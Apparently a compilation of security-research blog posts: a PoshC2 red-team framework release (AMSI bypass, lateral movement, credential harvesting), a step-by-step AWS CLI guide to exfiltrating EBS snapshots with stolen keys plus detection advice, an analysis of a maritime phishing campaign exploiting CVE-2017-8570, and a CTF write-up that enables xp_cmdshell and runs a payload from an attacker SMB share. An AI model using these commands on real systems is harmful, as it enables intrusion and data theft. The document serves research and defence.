Introducing PoshC2 v5.0

PoshC2 v5.0 is here and there are significant changes and improvements that we’re very excited to reveal!  There’s been a move to Python3, much improved documentation, significant functionality and quality of life improvements, and more.  Read on for a detailed description of it all!


We have had a bit of a change around with repository names, as described here.

This brings us back to PoshC2 being the latest and greatest repository, and PoshC2_old being the obsolete repository.


The documentation for PoshC2 has been completely re-written and updated, with emphasis on red team trade-craft when using PoshC2 and on extending and customising it to suit any situation or environment.

It will still be updated regularly, but there will be less focus on what all the different techniques are, and more on how to use PoshC2 itself. Check it out at


PoshC2 has been completely updated to use Python3. With Python2 becoming End-of-Life in January 2020, it was quite an important change to make.

Posh Commands

Efforts have been made to abstract the potentially difficult nuances of setting up and using PoshC2 away from the user.  Remember having to change into the PoshC2 directory, setup and use a Python virtual environment, to avoid dependency version clashes with the rest of your system?  That’s a thing of the past.

The install script now installs a number of posh-* commands to your /usr/bin directory, before setting up the virtual environment ahead of time. These scripts then encapsulate the use of that environment for the user, allowing PoshC2 to be run and configured from any directory, and it will seamlessly use the virtual environment and other configurations behind the scenes.

For example, PoshC2 can be configured from any directory using your editor of choice by issuing:


It can then be installed and run as a service simply by executing:


Conversely so it can be stopped using:


The Implant-Handler can now be started using posh with a username which is used for logging purposes:

posh u crashoverride

…and you’re good to go.

Use of these scripts is recommended, as any further logic will also go into them and we will work to ensure that PoshC2 works seamlessly when they are used, while other techniques may not be maintained.


PoshC2 now has an intelligent new prompt that can aid users when performing red teaming!

This prompt has context-sensitive auto-completions, intelligently suggesting commands based on the current prompt, such as PowerShell commands in a PowerShell prompt and so on. A unique command history is stored per context, so you won’t have to scroll back through PowerShell commands on a C# implant.

In addition to this, the prompt features fish-shell-like auto-suggestions in dark grey text based on commands from that prompt’s history, so if you want to repeat or edit log commands you can complete the suggestion by pressing the right-arrow key or ctrl+e.

Combined with the help and searchhelp commands, we hope that this will allow users of PoshC2 to quickly explore PoshC2s functionality and enable veteran users efficiency and speed of operation for those crucial engagements.


SharpSocks has undergone some significant improvements and integration into PoshC2. It started out as a standalone cmdlet that can be initiated from any PS session, but we have now fully integrated this so the users can be in any implant and type sharpsocks to get this going. A full separate blog has been written with all the changes for SharpSocks and can be found here:

Introducing SharpSocks v2.0

New Payloads

Several new payloads have been added out-of-the-box, including a DotNet2JS payload using James Forshaw’s DotNet2JScript technique, and a new C# payload for PowerShell Implants.

Sharp Implant Improvements

AMSI Bypass

.NET 4.8 introduced Antimalware scanning for all assemblies, including those loaded using Assembly.Load(byte[] bytes), which previously went unchecked and is used by our PowerShell-less C# implant to load C# executables and run them in memory.

This release features a new bypass-amsi command for the C# implant which will patch AMSI in memory and allow flagged modules to be loaded and executed.


We fully appreciate that nobody has time to type out long commands over and over. To that end, we’ve streamlined the run-exe commands for the C# Implant. Now, instead of run-exe Seatbelt.Program Seatbelt all it’s just seatbelt all.

We’ve added aliases for all our favourite commands, but you can add your own in See the documentation for more details.

Lateral Movement Methods

In addition to integrating SharpSocks, we’ve integrated PBind, another great tool written by Doug McLeod. This is now full integrated into PoshC2 and users can type invoke-wmijspbindpayload with the relevant arguments to try and attempt execution on another endpoint using SMB named pipes. The default SMB named pipe for PoshC2 is jaccdpqnvbrrxlaf.

invoke-wmijspbindpayload -target  -domain  -user  -pass ''

In addition to the lateral movement command, PoshC2 will automatically create several payloads that are named PBind payloads. These, like the normal payloads, can be executed against a remote host in whichever technique you prefer to use; dcom, wmi, psexec, etc.

Once you have initiated the payload on a remote host, it will automatically open an SMB named pipe ready for connection. You must know the secret key, the encryption key and the pipe name to communicate, but we already have you covered for this as it tells you what commands to run to interact with the PBind implant:

If you want any other information on PBind, a previous blog covers the techniques in more details and the comms methods including a diagram.

FPC script

Amongst the various scripts that are added to /usr/bin is the fpc (Find PoshC2 Command) script, added to aid in reporting. This script allows you to search for PoshC2 commands, filtering on keywords in the command, the command output and by user.

Credential management

We’ve improved the credential management in PoshC2, and now when you run Mimikatz’s logonpasswords, the credentials will automatically be parsed and stored in the database, and can be displayed or manipulated using the creds command.


There’s also a myriad other improvements such as to logging, tracking file hashes on upload, UX improvements, internal modularisation and refactoring and module updates, with a lot more in the pipeline to come. Stay tuned on Twitter (@Nettitude_Labs, @benpturner, @m0rv4i) for the latest updates or join the PoshC2 slack channel by emailing labs at nettitude dot com.


There’s a lot planned for PoshC2 but the main upcoming features are detailed below.


The bad news is that support for any platform other than Debian flavours of Linux has been retired. While PoshC2 is written in Python3 and can be maintained to work across multiple platforms, we have instead elected to only support Debian-based distributions.  However, we are working to bring Docker support to PoshC2 to add the ability to run PoshC2 from a Docker container, allowing full and stable execution across any platform that supports Docker, including Windows and Mac OSX.

A docker branch has been created with a Dockerfile added in addition to a number of Docker commands that can be used to manage the containers, but this is still very much in an unstable format.


One of the biggest concerns when running a red team engagement is operational security, and to that end we’re working on improving both the offensive side by making more of the inner workings of PoshC2 configurable, but also the reporting side by improving file upload tracking, hosts and users compromised and so on.

This will complement improvements to the HTML report and improve the OpSec and reporting side of things considerably.

Full changelist

The full changelist is below:

  • Added Harmj0y’s KeeThief to modules
  • Added RastaMouse’s Watson to modules
  • Added SafetyDump for minidumping in memory
  • Added file hashing when a file is uploaded
  • Rework imports to improve dependency management
  • Break up ImplantHandler into, and
  • Add ability to upload a file to an ADS
  • Update BloodHound
  • Pull out unpatched payloads into file for easy management
  • Add base64 encoded versions of the shellcode to the payloads directory
  • Add a configurable jitter to all implants
  • Update the notifications config if it is changed in the
  • Add NotificationsProjectName in which is displayed in notifications message
  • Add fpc script which searches the Posh DB for a particular command
  • Modify InjectShellcode logged command to remove base64 encoded shellcode and instead just log loaded filename
  • Add aliases for common sharp modules
  • Fix Shellcode_migrate payload creation
  • Start randomuris with a letter then proceed with random letters and numbers as e.g. msbuild errors if task name starts with a number
  • Fix issue with cred-popper and keylogger using same variable and conflicting
  • Add SCF files to the opsec command
  • Add posh commands on *nix for abstracting the use of pipenv and set up the env in the install script.
  • Move to python3 as python2 is EoL in 2020
  • Misc performance improvments, such as reduced cylomatic complexity and only processing the command once per input
  • Store creds in the DB, add ability to add creds/have them automatically parsed from mimikatz and add ability to specify use of a credId for some commands
  • Add create-shortcut command
  • Don’t show powershell one liner when domain fronting as it tries to connect directly
  • Added set-killdate command
  • Added posh-stop-service linux command
  • Updated Mimikatz
  • Added SafetyKatz
  • posh-config uses $EDITOR variable
  • New Sharp_Powershell_Runner payload compilation with mono
  • Added DotNet2JS Payload generation
  • Added get-computerinfo and get-dodgyprocesses to c# core
  • Misc small fixes
  • Updated help and readme
  • Add new prompt with intelligent autocompletions, autosuggestions and smart history
  • Log when a user logs on or logs off in the C2 server output
  • Add ability to broadcast messages in the C2 server output using the ‘message’ command
  • Add quit commands to Sharp and Python handlers
  • output-to-html renamed to generate-reports
  • Force setting of username for logging
  • Show Implant type at Implant prompt
  • Update User Agent string to match current Chrome
  • Added New SharpSocks
  • Addd * suffix for usernames for High Integrity processes
  • Added lateral movements to Sharp Implant (SMB/DCOM/WMI)
  • Add AMSI bypass for C# Implant
  • Updated PBIND hosts in opsec
  • Added invoke-mimikatz output from PBIND to be parsed
  • Updated PBIND to send stderror if the command does not work
  • Added remove-label for implants
  • Updated PSHandler to add DomainFrontURL to sharpsocks if in use
  • Updated RunAs-NetOnly
  • Added RunAs-NetOnly which uses SimpleImpersonation to create a token
  • Removed print statement on pbind-loadmodule
  • Updated pbind-command and pbind-module
  • Updated the pbind commands
  • Updated invoke-wmijspbindpayload
  • Added PBind payloads to PoshC2
  • Updated opsec error when username is None
  • Add output-to-html retired message
  • Add Matterpreter’s Shhmon
  • Updated ‘tasks’ command to add ImplantID
  • List PowerShell modules pretty like C# modules
  • Add new Sharp modules
  • Port the .NET AMSI Bypass to PowerShell
  • Updated Get-ScreenshotMulti to Continue if Screen is Locked
  • Correct Jitter time equation in PS implant
  • Print last commit and timestamp in header
  • Prompt improvements
  • Updated C2Server / SharpSocks Error responses
  • Updated HTML output
  • Update to use virtualenv and only copy fpc to /usr/bin
  • Updated help
  • Expand on opsec no-nos
  • Update inject-shellcode help

How to Exfiltrate AWS EC2 Data

As Cloud infrastructure has become common, it has also become common for penetration testers to find themselves attacking clients that rely on e.g. AWS or Azure environments for handling, storing, and processing critical data.

There are many new and interesting attack paths an adversary can take once they have obtained some sort of access to the environment. For AWS, this is a short indicative list:

  • Pivoting via Roles and Policies.
  • Modifying Lambda functions.
  • Modifying CloudWatch logs.
  • Exfiltrating database backups.
  • Exfiltrating EC2 images and snapshots.

This article will focus on how to exfiltrate an EC2 (EBS) snapshot once an AWS CLI/API access key has been compromised. In AWS-speak, a snapshot is the backup of the contents of an EC2 instance.

Types of access

Broadly speaking, there are three types of credential that provide access to an AWS environment:

  • AWS Management Console (Web portal) email and password.
  • AWS CLI/API access keys.
  • Resource/Application specific credentials such as SSH private keys, usernames and passwords, or client-side certificates.

Security controls

Traditional security controls such as IP Whitelisting, MFA, and account lockout after subsequent login failures are supported to varying degrees, require hacks, and in some cases are outright not advised by the Cloud provider.

For example, account lockout after subsequent failed login attempts is not currently supported by AWS. Yes, adversaries can brute force their way into the AWS Management Console, assuming no MFA is implemented. One quick fix for this is to create a Lambda function that works off the back of CloudTrail logs – these logs however are not generated and processed in real time.

Another example is IP Whitelisting, both to the AWS Management Console and to the CLI/API access. Currently there is no easy and ubiquitous way of enforcing this. AWS provides a guide that helps towards this ( but within the same document the following note highlights its immaturity:

Due to the issues listed above, it is not uncommon for an attacker to be in a position to bypass the majority of the perimeter controls via the AWS CLI interface. This means that even if a developer needs to jump through multiple security gateways in order to access a private EC2 instance, by using AWS CLI an adversary can obtain direct access to its data.

Exfiltrating EC2 images and snapshots

In order to exfiltrate the desired EC2 data, the following steps need to be taken:

  1. Using the compromised credentials, we will create an EC2 snapshot from the desired EBS volume.
  2. Modify the permissions of the newly created snapshot so that it can be shared with our own AWS account.
  3. Using our own AWS account, create a new EBS volume from the shared snapshot.
  4. Attach the EBS volume to our EC2 instance and download its contents for analysis.

We will take advantage of the EBS snapshot sharing functionality of AWS. Specifically, use the modify-snapshot-attribute of AWS CLI and the --create-volume-permission option which will allow us to share it with another AWS account.

In order for the above to work, there are two conditions that need to be met:

  1. The compromised access keys need to have the necessary EC2 permissions to describe-volumes and create-snapshot.
  2. Your EC2 instance is within the same Region as the target.

Manual exfiltration via the CLI

The following commands utilise two credential profiles: victim, which contains the compromised AWS keys, and attacker, which contains our own credentials.

A note on permissions: AWS permissions can be complex to understand at first; there are many ways of granting an IAM user permissions, and unfortunately there is not single “show-permissions” command that will respond with all explicit and inherited permissions a user has. How AWS permissions, roles, policies, and groups work is outside the scope of this article. The following commands can be used, however, to navigate your way through the AWS permission maze:

aws iam list-groups-for-user --user-name

aws iam list-attached-group-policies --group-name

aws iam list-group-policies --group-name

aws iam list-attached-user-policies --user-name

aws iam list-user-policies --user-name


The first step is to list all the available EC2 instances and identify the EBS volumes that are attached to it:

aws ec2 describe-instances --profile victim --region us-east-1

This will output something similar to this:

Create and Share

The next step is to create a snapshot from the EBS volume that was identified previously. Before that, however, we need to know our own Account ID so that we can give access to it. A quick way of performing this is via the sts get-caller-identity command:

aws sts get-caller-identity --profile attacker

To create the snapshot, we will issue the following command:

aws ec2 create-snapshot --volume-id vol-0ffdb5642fa255c81 --profile victim --region us-east-1

Depending on the size of the volume, creation of a snapshot can take a few seconds or minutes to complete. The following command will query its state:

aws ec2 describe-snapshots --snapshot-id snap-0e39b84cde6992a01 --profile victim --region us-east-1

Once the snapshot creation process finishes, we proceed to grant “read” permissions to the attacker. Before we do that, lets see what happens when the attacker tries to query the snapshot:

aws ec2 describe-snapshots --snapshot-id snap-0e39b84cde6992a01 --profile attacker --region us-east-1

As expected, the attacker doesn’t yet have the appropriate permissions.

We address this by utilising the modify-snapshot-attribute command in conjunction with the attacker’s ID:

aws ec2 modify-snapshot-attribute --snapshot-id snap-0e39b84cde6992a01 --attribute createVolumePermission --operation-type add --user-ids [REDACTED] --profile victim --region us-east-1

The above command doesn’t give any output, but if we run the describe-snapshots command as the attacker we can verify that we can now access it:


Now that we have access to the target snapshot, we need to spin up an EC2 instance, create a new EBS volume using the target snapshot, and then attach that volume to the EC2 instance.

We need to know the InstanceId and in which availability zone it resides. Both can be found by issuing the describe-instances command, or by quickly checking the AWS Console.

aws ec2 create-volume --size 8 --availability-zone us-east-1b --volume-type gp2 --snapshot-id snap-0e39b84cde6992a01 --profile attacker --region us-east-1

Using the VolumeId, we attach the volume to our instance:

aws ec2 attach-volume --volume-id vol-02a5525559ea504af --instance-id i-0e930eb839bdf673d --device /dev/xvdf --profile attacker --region us-east-1

We can verify that the volume has been attached by issuing the lsblk command in our EC2 instance

The final step is to create a directory and then mount the volume:

sudo mkdir /data

sudo mount /dev/xvdf1 /data -t xfs

Note: you can identify the target file-system by issuing:


At this point we have successfully mounted our target’s data in our own EC2 instance and we are ready to transfer them away from AWS.


We want to remove the snapshot that we originally created:

aws ec2 delete-snapshot --snapshot-id snap-0e39b84cde6992a01 --profile victim --region us-east-1

Additionally, we want to detach and delete the volume within our own environment:

sudo umount /data

aws ec2 detach-volume --volume-id vol-02a5525559ea504af --profile attacker --region us-east-1

aws ec2 delete-volume --volume-id vol-02a5525559ea504af --profile attacker --region us-east-1

Detection and response

The process of creating, sharing, and deleting snapshots leaves a number of log entries, including the following:

CreateSnapshot and DeleteSnapshot events can be very frequent in medium-to-large scale AWS deployments with automated backup processes. However, the ModifySnapshotAttribute is more interesting:

The sourceIPAddress is the IP address from where the attacker issued the AWS CLI command. The userAgent, as you can see, also includes the hostname from where the AWS CLI command was issued. @thesubtlety has written an interesting post on how to overcome this:

The most likely IOC here is the createVolumePermission entry, where it also identifies who this snapshot was shared with.

Having said that, AWS Logs operate on an approximate 15 minute delay. That means it can take up to 15 minutes for an AWS CLI command to appear in CloudTrail.


  • Deny the ec2:CreateVolumePermission action in all groups, roles, and users. It is unlikely that this will be required in most environments.
  • If the ec2:CreateVolumePermission action is required to satisfy business requirements, create a CloudWatch alert that goes off when the volume is shared with a non-whitelisted userId.
  • Key rotation should be implemented in all access keys, with more frequent rotation for highly-privileged principals.
  • Employ a granular permission policy based on the need to know principle.
  • Enforce MFA both to the management console and to the AWS CLI/API.


In this article we have shown how an adversary who has compromised a set of AWS access keys can bypass firewalls, private VPCs and bastion hosts, and directly exfiltrate the contents of an EC2 instance without needing logical access to the host itself nor requiring the root’s SSH keys.

There are many variations of this technique, including modifying the permissions of an S3 bucket that the snapshots reside in.

It comes to no surprise that traditional security principles such as defence in depth, key rotation, and granular access controls can help minimise the risk of an AWS environment data breach.

Maritime Malware Campaigns – Document Payloads

As part of our research into threats facing the marine and offshore sector, we recently uncovered an ongoing malware campaign.  It makes use of specific maritime industry related document lures, and attempts to evade detection by disguising command and control traffic as traffic to legitimate maritime-related businesses. From our examination of the documents being sent, we assess that it is likely this forms part of a wider malware distribution service that is available for purchase, but with purchasers providing the malware, configuration and targeting information.

This post will detail the specifics of this campaign, showing how it works and how we were able to uncover more information on the organizations it was attempting to impersonate.

Payload delivery

The malicious payloads are sent using a set of emails tailored to situations in the maritime industry where vessels send forms by email, often as Microsoft Word files. It is likely this is an attempt to take advantage of employees who are used to dealing with email attachments on a regular basis, and are hence more likely to open them. Some examples of email subjects seen are:

  • PAN – Pre Arrival Notification”: This is a form containing information on the vessel, cargo etc. sent to a port before arrival.
  • MV’GLYFADA’ PDA INQUIRY”: A PDA is a ‘pro-forma disbursement account’ – a statement sent by a ship’s agent to the owner before the ship arrives in a port. This email is asking for the attached ‘PDA quotation form’ to be completed and returned.
  • MV DA TAI V32 PDA FORMAT & AGENCY APPOINTMENT ETA 10-11JULY”: This is similar to the last, asking for a quotation for the vessel MV Da Tai arriving in Singapore.
  • MV XINDAQIANG DISCHARGING WHEAT”: In this case, the email is enquiring about port/berth restrictions, working hours, and discharging rates, with the attachment appearing to be the vessel particulars.
  • Vessel Sailing Detail : MV.E8Q MCC NANJING VOY – 926N, MV.I2F BLPL”: Here the email outlines a set of ‘feeder ship’ movements (ships transferring containers from local ports to central container terminals), with ’more details’ in the attachment.

It is worth noting that in all cases care has been taken to construct a plausible email message – for example, in the ‘Vessel Sailing Detail’ email, the three vessels listed are all container ships which could operate as feeder ships, and operate in the locality of the ports listed. Likewise, Xin Da Qiang is a bulk freighter which could be capable of carrying grain.

Each email also has a legitimate email signature which matches what would be expected from that company, although small typos have been introduced into phone numbers and email address to stop them working:

Feeder email

Document payload – understanding CVE-2017-8570

In each case the email attachment is an RTF file named with the .doc extension, which by default will open in Microsoft Word. When opened, the file simply prompts the user to enable editing to see the document, before using CVE-2017-8570 (RTF Composite Moniker vulnerability) to download and execute a payload on the machine.

Document example

CVE-2017-8570 has been covered by the original finder, but there were a set of similar OLE vulnerabilities discovered around the same time, and it is worth taking a look at how the RTF file is constructed to specifically exploit CVE-2017-8570, and what it drops onto the system.

Alongside text and images, RTF files can contain Microsoft OLE links and embedded files which are denoted by the \object tag. OLE (Object Linking and Embedding) data structures allow documents to contain objects created by a different application which retain their original format and can be edited with the toolbars and menus from the original application which created it.

The RTF files in this campaign contain two objects of interest; one a package and the other with a class of Word.Document.8.

The structure of the objects embedded in the RTF file is defined by the EmbeddedObject specification, for example the Word.Document.8 object:

01 05 00 00 OLEVersion
02 00 00 00 FormatID
09 00 00 00 ClassName length
4F 4C 45 32 OLE2Link
4C 49 6E 6B
00 00 00 00 Topic Name (null)
00 00 00 00 Item Name (null)
00 0A 00 00 Data Len (2560 bytes)

The next bytes are the ‘native data’ of the object, and the signature indicated they are a Microsoft Compound File Binary (CFB) file, which is a simplified file-system within a file:

D0 CF 11 E0 Compound File Header


A1 B1 1A E1
00 00 00 00 (x4) Header CLSID.
3E 00 03 00 Minor version Major version

The CFB file contains one sector, which is an OLEStream. It is here that the composite moniker that leads to remote code execution is defined:

01 00 00 02 Version


06 00 00 00 Flags
02 00 00 00 LinkUpdate (
00 00 00 00 Reserved
00 00 00 00 Reserved Moniker Stream size (0 = none)
00 00 00 00 Reserved Moniker
C0 00 00 00 Relative Moniker Stream size (192)
09 03 00 00 Packetised CLSID


Composite Moniker

00 00 00 00
C0 00 00 00
00 00 00 46
02 00 00 00 Number of monikers (2)
03 03 00 00 Packetised CLSID


File Moniker

00 00 00 00
C0 00 00 00
00 00 00 46
00 00|1A 00 Num ..\ at start of path Path Length (26)
00 00|25 54 File path


4D 50 25 5C
61 62 63 74
66 68 67 68
67 68 67 68
67 68 67 2E
53 43 54 00
0E 00|AD DE endServer (14) VersionNumber (0xDEAD)
00 00 00 00 (x5) Reserved (20 bytes)
38 00 00 00 Unicode Path Size (56)
32 00 00 00 Unicode Path Bytes (50)
0F 00|05 00 usKey value
54 00 4D 00 Unicode File path


70 00 25 00
5C 00 61 00
62 00 63 00
74 00 66 00
58 00 67 00
68 00 67 00
68 00 67 00
2E 00 73 00
63 00 74 00
C6 AF AB EC Packetised CLSID


‘New’ Moniker

19 7F D2 11
97 8E 00 00
F8 75 7E 2A

When the OLE object is loaded as the RTF file is opened, the composite moniker is bound. This means that IMoniker::BindToObject() is called which finds the object, puts it into the running state and provides a pointer to a specified interface.

As the moniker is a composite moniker, the two parts must first be bound before the pointer is returned to the calling application. Internally the BindToObject() method is called for the ‘New’ moniker, with an argument *pmkToLeft provided as a pointer to the file moniker. This means that before the new object is bound an object is created with a type determined by the extension of the path provided in the file moniker (.sct in this case). From the registry, it’s possible to see a .sct file (scriptletfile – text/scriptlet) corresponds to a CLSID of {06290BD2-48AA-11D2-8432-006008C3FBFC}:

Once the scriptlet file object has been created, the new moniker is bound, which results in a call to the object’s CreateInstance() method. When this is called, any code contained in the scriptlet file is run.

The scriptlet file is included in the RTF file using a Package object. This allows for an arbitrary file to be embedded into the document, and when the document is edited be written into %TEMP%. The scriptlet file is an interpreted COM component containing an XML representation of a script. In this case, it’s a lightly obfuscated Visual Basic script which will download a payload, save it to %APPDATA% and execute it:

In all samples seen, the download URL appeared to be hosted on a wide range of likely compromised infrastructure (e.g. machines exposing RDP or SSH). Interestingly, each executable was named with a date (e.g. EMEH2806.exe, CHIMA0807.exe). This matches the last-modified HTTP header when downloaded, so it appears to be used to track the date the malware was uploaded to the staging server.

Second stage

The second stage that is delivered varies depending on the theme of the campaign being carried out – for example, other campaigns using exactly the same RTF template and SCT file but with different email lures (e.g. purchase orders or draft contracts) deploy a range of different commercial RATs (AveMaria, AgentTesla, NanoCore, FormBook etc.). However, in the case of the maritime-focused campaign, every different email or sample results in a download of a variant of HawkEye Reborn v9.

HawkEye Reborn is a commodity remote access trojan which is available to purchase on a subscription model. It has been well documented by Talos and these samples are reasonably similar. The assembly is obfuscated (likely with ConfuserX) to make analysis more difficult. When run, the assembly spawns a child process which contains the main applications logic. This child process is stored in the PE resource section encrypted with a simple XOR cipher:

Because the two pseudo-random generators are always seeded with the same values (P_0=-1670293239 and P_1=625367976), we can create the same key sequence and decrypt the resource to obtain the clear-text executable.

This is also heavily obfuscated, this time with SmartAssembly, and so much so that no decompilers are able to successfully process it. Using dynamic analysis, however, it is possible to see that the hawkeye application extracts two Nirsoft utilities (WebBrowser PassView and Mail PassView) from the PE resource section and injects them into vbc.exe. This extracts saved credentials from browsers and email clients and saves them to temporary files on disk. The malware then queries the machine’s IP address using, before returning any obtained credentials, the machine’s IP address, hostname and currently logged in user via email:

Notably, the malware uses STARTTLS to encrypt the email transmissions, and validates that the SMTP server’s TLS certificate is trusted. The destination email domain was registered to appear similar to a legitimate company (abrancon[.]com -> abracon[.]com), and this gives us a useful insight into the campaign’s infrastructure.

Infrastructure discovery

The email domains used for returning machine information and passwords is registered with Openprovider, and is using their shared mail infrastructure. Depending on the hostname provided in the SNI field of the TLS request, the mail server responds with the appropriate certificate. In this case, certificates issued by Let’s Encrypt are being used, and contain a list of SANs including domains being used to impersonate other maritime organisations.

Additionally, each domain also has an entry as a subdomain of penavicohhn[.]com (a misspelling of another large maritime organisation in China). It is unclear why this is (perhaps to help keep track?), but by pivoting on this in certificate transparency logs, examining other samples, and looking at passive DNS records, we were able to build a fuller list of impersonated companies:

Malicious domain Likely impersonated company Chittagong Telecom Services Telaurus Communications (now Globecomm Maritime) Neda Maritime Agency Abracon (electronic parts supplier, antennas and RF components) Champion Tankers (Norway) Cosco International E-Gas Trading CC (South Africa) Malaysian human rights society (Hakam) Marmedsa shipping agency (part of Noatum) Meadway Shipping Ocean Trend Carriers Omicron Ship Management Hainan Fanyu Foreign Wheel Agency Co., Ltd. Penavico Shenzhen Logistics Ltd. Premium Maritime S.A. Roxana Shipping S.A. Seaport Services Pvt Ltd. Sunbeam Logistics. Go Shipping Gulf Agency Services Bulk Shipping (Pakistan) Thesarco Shipping Briese Chartering La SARL SEACOM AGE-LINES Co. Ltd (Vietnam) AGE-LINES Co. Ltd (Vietnam) FirstCoast Maritime Academy Genshipping Pacific Line NS United Shipping China Shipping Vostochny Port ( Tongli Shipping Tongli Shipping Safe Shipping
bestshipping-th{.tk and .cf} Clipper Group (Denmark) Dragon TS (Shanghai) GH Chemicals IMC Industrial Manta Shipping (Egypt) Nova Group (Singapore) Sunbeam Logistics (India) Xing Her International (Malaysia)

One of these domains was also a subdomain of, and pivoting around certificates issued to that domain gives another set of domains registered in much the same way. Again, there is a significant focus on maritime organisations, although in this campaign there also appears to be more targeting of the oil and gas sector:

Malicious domain Likely impersonated company
163-cn.(cf, gq, ga) NetEase ISP NetEase ISP Bayport (Spain) Best Shipping (Bermuda / Japan) Best Shipping (Thailand) Brenntag (Belgium) Chemi Pakhsh (Iran) Ership Group (Spain) Fleet Mangement Ltd. (Hong Kong) Globelink West Star Shipping (Dubai) Goodrich (Singapore) Great Source (Bangladesh) ISA Independence Shipping Agency (St. Martin) Leeds HR (Singapore) Nautilus World Services (Greece) Nice Sea (Vietnam) New Ocean Shipmanagement (Singapore) PetroVietnam Raha Group (Turkey) Rotary Engineering (Singapore) Rotary Engineering (Malaysia) Sea-win International Freight Forwarding (China) Steamship Mutual Sol Petroleum (Caribbean/South America) STTAT Group (Tunisia) SwissMarine (Switzerland) Toffoli Bassetti & Asociados Group (Argentina) Vasco Maritime (Singapore) Vicentin SAIC (Argentina) Viconship (Vietnam) Vietfracht (Vietnam) Vietnam Maritime Corporation (Vietnam) Bertling Group (Germany) Wenzhou BoNai Auto Radiator Co.,Ltd. (China)

RTF document templates?

The use of objclass PacJage to describe the package OLE object in the RTF files stood out, as in many online examples the ‘correct’ term Package is used. On pivoting on that and some other unique strings such as filenames and object dimensions it quickly became apparent that the same RTF file ‘template’ is being used to deliver many different types of trojan, and using many different document lures.

Each lure tended to cluster with a particular family of Trojan (for example, fake purchase orders with Ave Maria), but the only thing that changed in the RTF document was the second stage download URL.

It’s difficult to be certain, but this appears to be indicative of malware distribution being offered as a service, where the ‘purchaser’ provides the Trojan and email content and another party provides the delivery mechanism.

There is evidence that the RTF ‘template’ is continuing to be developed with more recent versions demonstrating additional obfuscation of the VBScript contained within the embedded .sct file (for example Base64 encoding the second stage URL). Despite this other aspects of the RTF file such as the objclass PacJage remains consistent.


There are a large number of hashes associated with the documents and hawkeye samples, so this list is not exhaustive. Samples had generally good anti-virus detection.

“ISPS PAN.doc” b0d83bb3dc8e01765642e6510f46f0db5edcc16891786d8a0575ae858f391b3d
“Lotta Auerbach.doc” f68341864769aedfff59b50cf63fc1035669dd7b45fbeb372378d9abfa45c4b5
VESSELXPARTICULARS.doc 5a6a48549a74100fb9c9ca70fbe0cb71d9ce6faf09e8379e28f3c488080e4f37
EMEH2806.exe 3441692b35d9730791292ce06e434aa4ccf354e9f4130019cdadbb5f18dc174b
ANIBYTE06062019.exe ada205992fb9c251e606134f349e0ed64589e909d9c884ef83d0dabaff448566
CHIMA2407.exe 9a4f94fb43afa4374fbb161771280369ec577e1d76ea11e0c5a260592a2e3d2d

Malware hosting locations frequently change, and are often taken down relatively quickly. All URLs seen have been reported to/are present on the URLHaus abuse feed:

Monitoring for traffic to the mail.<domain> subdomain of the domains in the tables above will detect infected clients. This appears to be an ongoing campaign so it is expected more domains will be added.

The following yara rule will match the RTF file ‘template’ used in the campaigns seen to date with a low false-positive rate:



DerbyCon 2019 CTF Write Up

We recently returned from the always excellent DerbyCon 2019 conference.  We once again competed in the 48 hour Capture The Flag competition under the team name “spicyweasel”, where we were pleased to finish in second place.

The prize for us was $750 and we decided to donate that to the Chris Lucas Trust, in order to help the fight against Childhood Rhabdo Cancer.  This is a cause close to our CEO’s heart.  If you find this write up useful in any way, we’d love it if you could read Rowland Johnson’s story and add a small donation of your own:

We had a lot of fun, and as in previous years, we wanted to write up some of the challenges for you, while they’re fresh on our minds.

Previous Write Ups

Here are the write ups from previous years:

File Server

After reviewing the files inside the meme headquarters, there didn’t appear to be anything of interest other than hilarious images of Dave Kennedy and the crew from DerbyCon.

Those images didn’t appear to have any steganography or meta data pertaining to flags so we moved on.

We then used various enumeration tools, such as dirbuster and nikto, to find a few new flags – including some HTTP headers and an error.html page that led us further into this challenge.

The error.html page was a stack trace from a .NET web application that had verbose errors enabled. This also had a comment at the top of the page, which was a clue that pointed to a new page and function called downloadfile.aspx?f=/bin/DerpyCon_FileServer.dll.

We were able to use this functionality to download other files on the remote system, with some caveats. It appeared to have a simple blacklist in place to stop attacks such as directory traversal and downloading the web.config.

By modifying the case of the search, e.g. weB.cOnFiG, we were able to download the web.config in the current directory and the previous one. Basic Auth credentials were found here; the username was fileserve and the password was files. Both of these were flags and would most likely come in useful later down the line in this challenge.

After revisiting the error.html page, we noticed there were mentions of certain non-standard DLLs in use. By abusing the previously discovered functionality, we attempted to download these files from the bin directory in the current location, e.g. without a / at the start. This allowed us to successfully downloaded the DerpyCon.dll file.

Using dnSpy or ILSpy, we were able to reverse the .NET DLL file and look through the code.

We then noticed another non-standard DLL in the references section of the PE. We attempted to download this using the same functionality as before, with success. This file had the underlying code for the blacklisting and showed additional website functionality exposed, namely ../HerpDerpyConAdmin, with some DB credentials for an MSSQL service.

Once we visited the web page of HerpDerpyConAdmin, we were presented with basic auth; the required credentials were the ones exposed in the web.config file identified before. This then provided a simple web shell at our disposal. We used this to execute a PowerShell one liner which would implant the box using PoshC2, which afforded us full control over the server as an administrative user.

This provided a foothold onto DerpyConFileSrv as Administrator. There were flags on the administrators desktop and indicators that we had to pivot to the database. It is worth noting that this host had quite a recent version of AMSI, so some basic shells may have been caught by Anti-Virus if you were struggling with code execution on this host.

Using the credentials we gained from the DLL for the MSSQL service, we queried the server remotely using the invoke-sqlquery functionality in PoshC2. This provided simple queries to the remote system. At this point it was apparent the server was quite old and running SQL Server 2005.

It also became apparent early on that the user DerpyDB was not a SYSDBA and couldn’t enable or run xp_cmdshell by default.

After further digging, we found it was possible to impersonate other users in the database. To speed up this process, we executed this via an MSF module to provide the user with SYSDBA privileges so that we could enable xp_cmdshell and get a shell on the host via pivoting.

For additional points, we tried dropping the hashes from the MSSQL service, but this didn’t appear to reveal any passwords or flags.

Then, once we were fully impersonating a SYSDBA user, we enabled xp_cmdshell using the following command:

invoke-sqlquery -sqlserver DerpyConDB -user DerpyDB -pass DerpyDB -query "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"

invoke-sqlquery -sqlserver DerpyConDB -user DerpyDB -pass DerpyDB -query "xp_cmdshell 'whoami'"

This resulted in the following output:

nt authority\system

To obtain a foothold on this 2003 host we executed an MSF payload remotely using an SMB server and a UNC path, e.g. \\attackerip\share\msf.exe. Once we had execution on the host, we enabled RDP and logged in with a new user that we created to use the SQL management agent, and pillage the box for further flags.

One large value flag was in fact the LM hash of the administrator user on the server 2003 host. In order to crack this password we needed rainbow tables, which we had locally.


